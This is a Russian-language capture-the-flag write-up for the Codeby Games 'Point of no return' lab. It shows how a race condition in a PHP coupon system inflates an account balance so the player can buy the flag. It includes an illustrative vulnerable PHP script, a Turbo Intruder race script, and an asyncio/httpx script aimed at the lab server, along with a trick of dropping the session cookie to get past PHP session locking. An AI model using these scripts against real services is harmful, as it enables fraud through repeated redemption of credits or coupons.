Codeby Games "Point of no return" writeup
@cherepawwkaВсем привет!
Сегодня мы, подобно Льюису Хэмильтону, станем профессиональными гонщиками, найдём и проэксплуатируем race condition двумя разными способами (Python и Turbo Intruder), решив задание средней сложности "Точка невозврата" с платформы Codeby Games.
Приступим!
Изучение приложения
Описание задания выглядит следующим образом:
Перейдем по ссылке, и здесь нас встречает приложение, предлагающее форму авторизации. Суть лабораторной не в способах обхода авторизации, IDOR (а он тут есть) и т.п., поэтому на этом шаге зацикливаться не будем.
Наша задача — зарегистрировать нового пользователя, причем логин и пароль не играют какой-либо роли. Я для примера сделал пользователя с кредами 1:1
.
После регистрации мы можем успешно авторизоваться и увидеть аналог личного кабинета, содержащего следующий функционал:
- Отображение текущего баланса;
- Функцию покупки флага (его стоимость равна 1337$);
- Окно ввода промокодов.
Если мы заглянем в код страницы, то увидим в HTML-комментарии массив (список), состоящий из трёх значений: ['PAePaMt','5mbhxgw','dRRYa6Y']
За каждый из промокодов, введенных на странице, нам начисляется по 100 дополнительных долларов, которые плюсуются с суммой нашего баланса.
Если мы захотим попытаться побрутить промокоды, то ничего не выйдет: ранее в задании присутствовал баг, который немного раскрыл его внутренности. Так, в массиве с прмокодами всего три элемента, и когда пользователь вводил 3 промокода, а при вводе четвертого оставлял поле пустым, к балансу прибавлялось 100 долларов, так как NULL == NULL
. После этот баг пофиксили, и, следовательно, добыть четвертый промокод нам не удастся. На этом этапе могу возникнуть мысли по поводу SQLI и попытке изменить баланс через форму авторизации (так как там, вероятно, исполняется операция INSERT). Но форма неуязвима к SQLI, и этот вектор не подойдёт.
Повторный ввод одного и того же промокода результата не даёт:
Здесь мы вспоминаем о такой замечательной уязвимости, как race condition. Перед нами, наверное, самый классический вариант реализации лаборатории для ее эксплуатации. Давайте представим, как в теории может выглядеть код нашего приложения:
<?php $coupons = ['PAePaMt','5mbhxgw','dRRYa6Y']; $balance = 1000; function applyCoupon($couponCode) { global $coupons, $balance; if (in_array($couponCode, $coupons)) { $balance += 100; // увеличиваем баланс на 100 // Удаляем использованный купон из массива $index = array_search($couponCode, $coupons); array_splice($coupons, $index, 1); echo "Купон успешно применен. Баланс: " . $balance; } else { echo "Недействительный купон!"; } } if ($_SERVER['REQUEST_METHOD'] === 'GET') { // Получение введенного купона из параметра GET-запроса $coupon = $_GET['coupon']; // Вводим введенный купон applyCoupon($coupon); } if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Проверяем наличие параметра buyFlag if (isset($_POST['buyFlag'])) { $flagPrice = 1337; // Проверяем достаточность средств для покупки флага if ($balance >= $flagPrice) { // Покупаем флаг $balance -= $flagPrice; echo "Флаг успешно приобретен. Баланс: " . $balance; } else { echo "Недостаточно средств для покупки флага!"; } } } ?>
Массив $coupons
хранит 3 известных купона. При вводе купона пользователем через GET-запрос с параметром coupon
функция applyCoupon()
проверяет наличие купона в массиве. Если купон найден, то баланс увеличивается на 100, а использованный купон удаляется из массива.
Если пользователь отправляет POST-запрос с параметром buyFlag
, то проверяется достаточность средств на балансе для покупки флага. Если баланс достаточный, то флаг приобретается за 1337, и баланс уменьшается. Если баланс недостаточный, выводится сообщение об ошибке.
Данный код уязвим к race condition. Если два или более параллельных запроса одновременно попытаются использовать один и тот же купон, возникнет состояние гонки, что может позволить нам накрутить баланс.
Эксплуатация
Рассмотрим 2 похожих способа эксплуатации уязвимости: один средствами Burp (расширение Turbo Intruder), второй при помощи скрипта на Python.
Для первого способа нам необходимо перехватить запрос применения купона, а затем отправить его в Turbo Intruder (ПКМ -> Extensions -> ЕгSend to Turbo Intruder).
Примечание: перед этим расширение необходимо установить, сделать это можно через BApp Store.
Переходим в открывшееся окно, и в поле нижней части окна пишем следующий скрипт (ну либо выбираем скрипт race-single-packet-attack.py, то есть его же, из списка готовых скриптов):
def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP ) for i in range(20): engine.queue(target.req, gate='race1') engine.openGate('race1') def handleResponse(req, interesting): table.add(req)
После проведенных действий мы можем смело запускать расширение и "любоваться" результатом.
Тут нас ждёт небольшое разочарование, так как отработал только один купон (о чем свидетельствует один ответ 302 от приложения). Но почему так?
Всё дело в том, что PHP "из коробки" содержит Session-based locking mechanism (механизм блокировки, основанный на сессиях). Некоторые фрэймворки пытаются предотвратить случайное повреждение данных, используя ту или иную форму блокировки запросов. Так, собственный модуль обработчика сеансов в PHP обрабатывает только один запрос, относящийся к конкретному сеансу, за раз. Чрезвычайно важно обнаружить такое поведение, поскольку в противном случае оно может маскировать тривиальные уязвимости, которые можно эксплуатировать.
В этот раз удалим идентификатор сессии (cookie), заменим купон и повторим атаку:
Как мы видим, в этот раз атака успешно удалась, и мы получили ответ 302 на каждый наш запрос. Давайте проверим баланс:
Теперь нам хватает денег для покупки флага! Задача решена.
Python
Второй способ похож на первый, так как тоже будет использовать Python, только в этот раз мы используем библиотеку asyncio. Код самого скрипта можно найти на HackTricks, и выглядит он следующим образом:
import asyncio import httpx async def use_code(client): resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"}) return resp.text async def main(): async with httpx.AsyncClient() as client: tasks = [] for _ in range(20): #20 times tasks.append(asyncio.ensure_future(use_code(client))) # Get responses results = await asyncio.gather(*tasks, return_exceptions=True) # Print results for r in results: print(r) # Async2sync sleep await asyncio.sleep(0.5) print(results) asyncio.run(main())
Этот код подходит нам, однако нужно изменить строку 6 на следующую:
resp = await client.get(f'http://62.173.140.174:16023/index.php?voucherCode=PAePaMt&uid=<ID>')
Здесь мы убираем Cookie, которая ломает синхронизацию запросов, меняем функцию на client.get()
и убираем содержимое POST Body, так как мы работает с GET запросом:
Для целей повторной эксплуатации я зарегистрировал другой аккаунт, это роли не играет. Единственное, что придётся поменять — это значение параметра UID, которое можно взять из кода страницы.
Запускаем выполнение скрипта:
Обновим баланс на странице нашего пользователя:
Примечание: с первого раза может не получиться накрутить себе нужную сумму, поэтому у нас в запасе имеется три купона, которые можно использовать последовательно, просто заменяя значение купона в строке 6.
Осталось купить флаг и успешно пройти задание!
На этом разбор задания подошёл к концу. Это не единственные варианты его прохождения, скрипт может выглядеть совсем иначе, но в любом случае мы работаем с одной уязвимостью.
До новых встреч!